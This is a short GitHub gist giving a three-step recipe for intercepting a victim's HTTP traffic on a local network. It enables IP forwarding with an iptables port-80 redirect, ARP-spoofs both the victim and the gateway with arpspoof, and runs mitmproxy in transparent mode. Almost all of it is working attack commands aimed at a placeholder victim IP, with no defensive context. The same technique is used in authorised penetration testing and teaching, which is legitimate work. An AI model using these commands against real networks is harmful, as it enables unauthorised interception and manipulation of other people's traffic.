Skip to content

Instantly share code, notes, and snippets.

@jkullick
Last active February 2, 2022 14:50
Show Gist options
  • Save jkullick/5fef12be74ffbfc6f8e5d9f6f9194879 to your computer and use it in GitHub Desktop.
Save jkullick/5fef12be74ffbfc6f8e5d9f6f9194879 to your computer and use it in GitHub Desktop.
Intercept HTTP Traffic with Mitmproxy and Arpspoof on Kali Linux
  1. Enable IP forwarding & port redirection
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
  1. Use tmux to run 2 instances of arpspoof:
arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP
arpspoof -i $INTERFACE -t $GATEWAY_IP $VICTIM_IP
  1. Run mitmproxy in transparent mode:
mitmproxy -T --host

Source

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment